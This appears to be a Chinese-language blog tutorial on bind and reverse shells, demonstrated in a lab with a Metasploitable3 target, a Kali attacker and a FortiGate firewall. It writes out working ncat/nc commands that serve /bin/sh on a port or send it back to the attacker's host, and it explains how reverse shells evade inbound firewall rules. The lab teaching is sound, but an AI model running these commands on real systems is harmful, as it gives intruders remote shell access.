在與駭客攻防的場合,攻擊方必須要有一個手段把內部的資訊帶出來,就好比有玩過紅色警戒都知道我要攻下一個國家但是我不知道這個國家的國防軍事佈署位置與情資,這時候攻擊者會派間諜去侵入他國利用間諜的視野去看敵方武器塔、工廠、發電廠的場所位置接而戰略規劃,在駭客攻防中也是需要這樣前期探查直到對方資訊大概有一定的了解後再進行精準打擊,至於剛怎樣把資訊帶出去呢? 這時候就要講Bind Shell / Reverse Shell了。
準備環境:
目標主機:VM-metasploitable3 192.168.0.2/32
攻擊方主機:VM-Kali 10.100.104.102/32
防火牆:VM FortiGate7.2.3-評估版本 WAN:10.100.104.20/24 LAN:192.168.0.254/24
Bind Shell:
當攻擊方前期準備完成後,漏洞使用、注入工具、感染檔案等方式將窗口綁定在特定的PORT上,等待攻擊方連線,這種方式需要透過某個服務和程式開啟一個或多個監聽端口進行等待,之前我的文章有實作過可以參考看看CVE-2011-2523的漏洞復現。
下圖以metasploitable3為例,利用ncat創建本地服務的監聽PORT
ncat -lvp 4444 -e /bin/sh //目標主機

接著用netstat 可以看到本機的4444端口正在被監聽中

這時候我們先用NMAP掃看看目標主機的4444PORT有沒有被開啟,掃出來結果4444PORT確定有開

接著我們測試連線Shell 能彈回來,這樣子就能獲取對方內部資訊或進而提權橫向移動
nc 10.100.104.21 4444 //攻擊方
以上是Bind Shell的演示,那一定有人在想我就在防火牆設定阻擋連線就好啦! 沒錯當防火牆對連入連線控管與封鎖的情況下Bind Shell就沒辦法了,以下面影片為例我們將LAB 防火牆 將外對內連線阻擋(這時候會跑到隱性拒絕政策)。
在大多數環境都會配置硬體防火牆來管理連入連出情況,占大多數連入情況一定會加以控管這時Bind Shell就沒辦法發揮功用了,此時就會使用另外一個Reverse Shell。
Reverse Shell:
當對方防火牆阻擋的情況下那就讓目標主機轉變成主動連到攻擊方的機器
下圖是先將攻擊方監聽本機任何4444PORT的連線
nc -lvnp 4444 //攻擊方主機

接著在目標主機主動連線到外部攻擊主機上
ncat 10.100.104.102 4444 -e /bin/sh //目標主機
透過Reverse Shell可以避開防火牆的封鎖,但是如果我針對連出去的連線進行管制呢? 這也可以不過會搞死自己因為許多應用程式中會有自己自訂的PORT,如果用白名單模式就變成有用到的應用程式要一一加入那就會變得很麻煩,甚至還可以用80 443 PORT 的常規埠進行Reverse Shell~~
總結:
Bind Shell / Reverse Shell兩個的差別在
Reverse shell:是目標主機對攻擊方發起連線。
Bind Shell:是先在目標主機上掛一個PORT,然後等來自攻擊方的發起連線。
經了解到這2個差異性後,之後的實作會應用Bind Shell / Reverse Shell的技術進行滲透測試,我是阿俊謝謝大家觀看。